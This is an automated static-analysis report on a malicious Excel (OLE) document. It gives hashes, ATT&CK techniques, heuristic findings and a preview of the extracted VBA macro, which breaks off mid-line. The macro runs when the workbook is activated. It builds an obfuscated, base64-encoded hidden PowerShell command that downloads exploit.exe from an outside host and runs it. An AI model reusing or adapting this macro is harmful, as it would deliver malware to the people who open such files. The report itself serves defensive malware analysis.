Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a46faa1656a3fdbe…

MALICIOUS

Office (OLE)

10.5 KB First seen: 2021-11-02
MD5: cb1495530d786d3150f6e48d99aa7ca9 SHA-1: 025f53d4b4b5ee515effd73a348fcc9934ed73b0 SHA-256: a46faa1656a3fdbea91cdcfa46a1aa571eff14e6998f064ccd720ece245bead5
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro contains obfuscated code that, when deobfuscated, reveals a PowerShell command. This command is designed to download a second-stage executable from the URL 'http://cdn.discocapp.com/attackment/88497260035170030903/895000461929004217c0486704/exploit.exe' and execute it. The use of `Shell()` and obfuscated API names indicates a malicious intent to download and run further payloads.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5872 bytes
SHA-256: a15a21a1e23adc03a8c06c8f98a0fffada0ebe9c6edbddfebed28a5565f29774
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIAA9ACAAIgBL"
s = s + "AGMAZABjAGQAbgB2AG"
s = s + "gAYgBkAHEAZgBkAHMA"
s = s + "agAuAGUAeABlACIAOw"
s = s + "AoAE4AZQB3AC0ATwBi"
s = s + "AGoAZQBjAHQAIABTAH"
s = s + "kAcwB0AGUAbQAuAE4A"
s = s + "ZQB0AC4AVwBlAGIAQw"
s = s + "BsAGkAZQBuAHQAKQAu"
s = s + "AEQAbwB3AG4AbABvAG"
s = s + "EAZABGAGkAbABlACgA"
s = s + "IgBoAHQAdABwAHMAOg"
s = s + "AvAC8AYwBkAG4ALgBk"
s = s + "AGkAcwBjAG8AcgBkAG"
s = s + "EAcABwAC4AYwBvAG0A"
s = s + "LwBhAHQAdABhAGMAaA"
s = s + "BtAGUAbgB0AHMALwA4"
s = s + "ADgANAA5ADcAMgA2AD"
s = s + "AAMAA3ADUAMQA3ADAA"
s = s + "MgAwADMAOQAvADgAOQ"
s = s + "A5ADAAMAAwADAANAA2"
s = s + "ADEANQAyADkAOAA2AD"
s = s + "cAMAA0AC8AZQB4AHAA"
s = s + "bABvAGkAdAAuAGUAeA"
s = s + "BlACIALAAiACQAZQBu"
s = s + "AHYAOgBBAFAAUABEAE"
s = s + "EAVABBAFwAJABQAHIA"
s = s + "bwBjAE4AYQBtAGUAIg"
s = s + "ApADsAUwB0AGEAcgB0"
s = s + "AC0AUAByAG8AYwBlAH"
s = s + "MAcwAgACgAIgAkAGUA"
s = s + "bgB2ADoAQQBQAFAARA"
s = s + "BBAFQAQQBcACQAUABy"
s = s + "AG8AYwBOAGEAbQBlAC"
s = s + "IAKQA="


Dim x As Double

ActiveWorkbook.Save

bat = "Xddqapdjrfxiylxqzc.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "7. Drop-downs"
Attribute VB_Base = "0
... (truncated)